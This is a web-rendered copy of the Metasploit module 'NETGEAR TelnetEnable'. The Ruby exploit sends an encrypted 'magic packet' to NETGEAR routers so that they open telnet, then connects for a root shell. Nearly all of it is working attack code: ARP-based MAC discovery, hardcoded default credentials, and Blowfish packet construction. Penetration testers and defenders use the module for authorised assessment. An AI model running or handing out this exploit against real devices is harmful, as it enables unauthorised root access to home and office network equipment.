Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/telnet/netgear_telnetenable.rb
31813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::Udp
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Capture
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'NETGEAR TelnetEnable',
19
'Description' => %q{
20
This module sends a magic packet to a NETGEAR device to enable telnetd.
21
Upon successful connect, a root shell should be presented to the user.
22
},
23
'Author' => [
24
'Paul Gebheim', # Python PoC (TCP)
25
'insanid', # Python PoC (UDP)
26
'wvu' # Metasploit module
27
],
28
'References' => [
29
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
30
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
31
['URL', 'https://github.com/insanid/netgear-telenetenable'],
32
['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
33
],
34
'DisclosureDate' => '2009-10-30', # Python PoC (TCP)
35
'License' => MSF_LICENSE,
36
'Platform' => 'unix',
37
'Arch' => ARCH_CMD,
38
'Privileged' => true,
39
'Payload' => {
40
'Compat' => {
41
'PayloadType' => 'cmd_interact',
42
'ConnectionType' => 'find'
43
}
44
},
45
'Targets' => [
46
[
47
'Automatic (detect TCP or UDP)',
48
proto: :auto
49
],
50
[
51
'TCP (typically older devices)',
52
proto: :tcp,
53
username: 'Gearguy',
54
password: 'Geardog'
55
],
56
[
57
'UDP (typically newer devices)',
58
proto: :udp,
59
username: 'admin',
60
password: 'password'
61
]
62
],
63
'DefaultTarget' => 0,
64
'Notes' => {
65
'Reliability' => UNKNOWN_RELIABILITY,
66
'Stability' => UNKNOWN_STABILITY,
67
'SideEffects' => UNKNOWN_SIDE_EFFECTS
68
}
69
)
70
)
71
72
register_options([
73
Opt::RPORT(23),
74
OptString.new('MAC', [false, 'MAC address of device']),
75
OptString.new('USERNAME', [false, 'Username on device']),
76
OptString.new('PASSWORD', [false, 'Password on device'])
77
])
78
end
79
80
def post_auth?
81
true
82
end
83
84
def default_credential?
85
true
86
end
87
88
def check
89
# Run through protocol detection
90
detect_proto
91
92
# This is a gamble, but it's the closest we can get
93
if @proto == :tcp
94
CheckCode::Detected
95
else
96
CheckCode::Unknown
97
end
98
end
99
100
def exploit
101
# Try to do the exploit unless telnetd is detected
102
@do_exploit = true
103
104
# Detect TCP or UDP and presence of telnetd
105
@proto = target[:proto]
106
detect_proto if @proto == :auto
107
108
if @do_exploit
109
# Use supplied or ARP-cached MAC address
110
configure_mac
111
# Use supplied or default creds
112
configure_creds
113
# Shell it
114
exploit_telnetenabled
115
end
116
117
# Connect to the shell
118
connect_telnetd
119
end
120
121
def detect_proto
122
begin
123
connect
124
125
res = begin
126
sock.get_once || ''
127
rescue EOFError
128
''
129
end
130
131
# telnetenabled returns no data, unlike telnetd
132
if res.length == 0
133
print_good('Detected telnetenabled on TCP')
134
else
135
print_good('Detected telnetd on TCP')
136
@do_exploit = false
137
end
138
139
@proto = :tcp
140
# It's UDP... and we may not get an ICMP error...
141
rescue Rex::ConnectionError
142
print_good('Detected telnetenabled on UDP')
143
@proto = :udp
144
ensure
145
disconnect
146
end
147
end
148
149
def configure_mac
150
@mac = datastore['MAC']
151
152
return if @mac
153
154
print_status('Attempting to discover MAC address via ARP')
155
156
begin
157
open_pcap
158
@mac = lookup_eth(rhost).first
159
rescue RuntimeError => e
160
fail_with(Failure::BadConfig, "#{e}. Are you root?")
161
ensure
162
close_pcap
163
end
164
165
if @mac
166
print_good("Found MAC address #{@mac}")
167
else
168
fail_with(Failure::Unknown, 'Could not find MAC address')
169
end
170
end
171
172
def configure_creds
173
@username = datastore['USERNAME'] || target[:username]
174
@password = datastore['PASSWORD'] || target[:password]
175
176
# Try to use default creds if no creds were found
177
unless @username && @password
178
tgt = targets.find { |t| t[:proto] == @proto }
179
@username = tgt[:username]
180
@password = tgt[:password]
181
end
182
183
print_good("Using creds #{@username}:#{@password}")
184
end
185
186
def exploit_telnetenabled
187
print_status('Generating magic packet')
188
payload = magic_packet(@mac, @username, @password)
189
190
begin
191
print_status("Connecting to telnetenabled via #{@proto.upcase}")
192
@proto == :tcp ? connect : connect_udp
193
print_status('Sending magic packet')
194
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
195
rescue Rex::ConnectionError
196
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
197
ensure
198
print_status('Disconnecting from telnetenabled')
199
@proto == :tcp ? disconnect : disconnect_udp
200
end
201
202
# Wait a couple seconds for telnetd to come up
203
print_status('Waiting for telnetd')
204
sleep(2)
205
end
206
207
def connect_telnetd
208
print_status('Connecting to telnetd')
209
connect
210
handler(sock)
211
end
212
213
# NOTE: This is almost a verbatim copy of the Python PoC
214
def magic_packet(mac, username, password)
215
mac = mac.gsub(/[:-]/, '').upcase
216
217
if mac.length != 12
218
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
219
end
220
just_mac = mac.ljust(0x10, "\x00")
221
222
if username.length > 0x10
223
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
224
end
225
just_username = username.ljust(0x10, "\x00")
226
227
if @proto == :tcp
228
if password.length > 0x10
229
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
230
end
231
just_password = password.ljust(0x10, "\x00")
232
elsif @proto == :udp
233
# Thanks to Roberto Frenna for the reserved field analysis
234
if password.length > 0x21
235
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
236
end
237
just_password = password.ljust(0x21, "\x00")
238
end
239
240
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
241
md5_key = Rex::Text.md5_raw(cleartext)
242
243
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
244
245
secret_key = 'AMBIT_TELNET_ENABLE+' + password
246
247
byte_swap(blowfish_encrypt(secret_key, payload))
248
end
249
250
def blowfish_encrypt(secret_key, payload)
251
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
252
253
cipher.padding = 0
254
cipher.key_len = secret_key.length
255
cipher.key = secret_key
256
257
cipher.update(payload) + cipher.final
258
end
259
260
def byte_swap(data)
261
data.unpack('N*').pack('V*')
262
end
263
264
end
265
266